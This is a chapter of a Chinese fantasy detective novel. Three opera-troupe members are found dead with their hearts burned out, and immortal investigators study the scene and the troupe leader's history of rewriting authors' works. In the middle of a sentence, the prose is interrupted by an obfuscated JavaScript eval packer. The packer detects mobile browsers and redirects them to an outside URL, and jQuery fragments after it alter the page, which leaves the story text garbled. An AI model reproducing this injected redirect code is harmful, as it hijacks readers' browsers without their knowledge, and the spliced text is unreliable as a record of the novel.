“不,”青晏道,“是我。”
“我会扮成她的样子,我来引得那人对我动手,无论什么腥风血雨,我都能接下。”
宸景震怒:“荒唐!你当真以为自己刀枪不入?若真是死局,你该如何自保?”
“若真是能连我都困住的死局,那幕后之人的身份也就基本藏不住了,况且我也没有那么容易被困。”青晏平静道,“你不必再劝,我意已决。”
宸景知她性子,便明白已是没办法再让她改变主意,只得叹气道:“你若执意如此,便得处处留心,切莫大意。”
青晏察觉到自己身上一道金光一闪而过,于是打趣道:“怎么,给我降下庇佑了?”
“不然呢,就这么放任你独自以身试险?”宸景冷哼一声,“流入人界的邪宝我会派人尽快肃清,明煦这事了结之后你们即刻回来,别让人分心,耽误我批文牍。”
青晏笑应一声,随即结束了传念,打算回去和明煦他们汇合。
可刚走出没多远,颜故的声音却突然出现在她脑海中,言简意赅道:“出事了。”
青晏神色一紧。
待她来到颜故传念中所提及的那家戏楼,里里外外已经围了好几层看热闹的人,衙役们守在戏楼外不许过往百姓进入,然而这却阻挡不了他们一个个伸直脖子往里瞧,期待能够看到什么回去值得一说的场面的热情。
这些凡间的守卫对于青晏来说自然无碍,她穿过毫无察觉的衙役们,径直走到戏楼的后台,明煦他们三个已经都在了,此时正仔细端详着地上的尸体。
见她来,明煦垂眉撅嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369676|148307||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地站了起来,模样要多委屈有多委屈:“戏看不成了……”
青晏赶紧拍了拍她的后背以示安慰。
她已经从颜故的传念中大致得知,死者便是许州首富黄老爷子特地请来给自己寿宴献艺的名戏班中的三人,分别是班主方周业、他最亲近的伙计和班子里的戏本先生。
虽说已经听了颜故大概描述了一下,但等真的看见这三人凄惨的死状时,青晏还是不由得小小地吸了口气。
他们三人的胸口处都被轰出一个焦黑的大洞,远远地便能看清其中的心窍早已不翼而飞。而那名戏本先生的死状则更凄惨些,十根手指均被细细碾碎,瞧他那已经凝固在脸上的扭曲神情,显然是在生前便遭受了碾碎手指的钻心痛苦。
已经有仵作提着仵作箱进来准备验尸,青晏见状不免摇了摇头。
这里的怨气浓得冲天,明显非凡人所为,即便再怎么仔细验尸也是捉不到凶手的,只是这怨气似乎不太寻常,不似普通恶鬼所留。
厉鬼杀人之后,的确会在原地留下浓重的怨气,不过这地方并不大,他们又都是死在同一处,按理来说这屋里应该到处都弥漫着怨气才是,可为何目前只有尸身上才有怨气留存呢?
此时县令正好迈过门槛,已经对戏班其余人问了一圈话的捕头赶紧迎了上去,对县令汇报起了这三人的基本情况。
班主方周业心思缜密,精于算计,这套戏班子本是他父亲留给他的,只是当时戏班名气平平,也没人觉得他接管过来后能翻起什么新水花。
谁料不久后方周业便想出一个奇招,他以重金到处搜罗话本,称其将对话本进行改编,以戏曲形式重新演绎,让文中角色能有一个活过来的机会。
不少文人被此新颖构思打动,欣然应允,满心欢喜地等着那戏曲开唱,然而却发现整个故事被改得面目全非,人物形象大相径庭,只剩下一个个干巴巴的名字挂在那里,就连结局也往往与原作相距甚远。
文人们懊悔不已,却被早早签下的契约限制住,只能眼睁睁看着自己的心血被改编成另一番模样,万般嗟叹却无可奈何。
然而此举却颇为奏效,那些已经看腻了传统戏本的人纷纷被新戏吸引前来,鼓掌叫好,而看过原作话本的人相较之下便没那么多,能发出质疑者就更是寥寥。
更何况有些话本年头甚远,也不知他们是从哪里搜刮得来,原来的情节就更难以知晓了。
如此一来,方周业的戏班迅速声名鹊起,而另外两名死者,也就是他身边最亲近的伙计和戏本先生,从他刚接手班子之时便已跟随左右,是其最得力的心腹。
颜故一边听着捕头对县令的汇报,一边对青晏道:“这三人胸前焦痕均外浅内深,是从内里烧起来的。而且范围精准,只有心窍被烧的一干二净,并未波及其他部位,怨气也仅仅聚在他们胸口处。十分古怪。”
他又指了指那个手指被碾碎的戏本先生:“此人除胸口焦洞外,怨气也仅聚集在双手处。这与普通恶鬼所留下怨气的方式完全不同,所以我很难相信此事是幽冥界逃鬼所为。”
青晏点点头:“我也这么想,而且那戏本先生的手指被碾碎这件事也让我十分在意。若只是单纯杀戮,根本无需多此一举,而若是为了折磨,为什么不对其余二人也施以相同手段?此举倒像是只针对戏本先生一人的泄愤。”
“对戏本先生泄愤干嘛?总不能是觉得他戏本写得太难看了吧。”明煦随口道。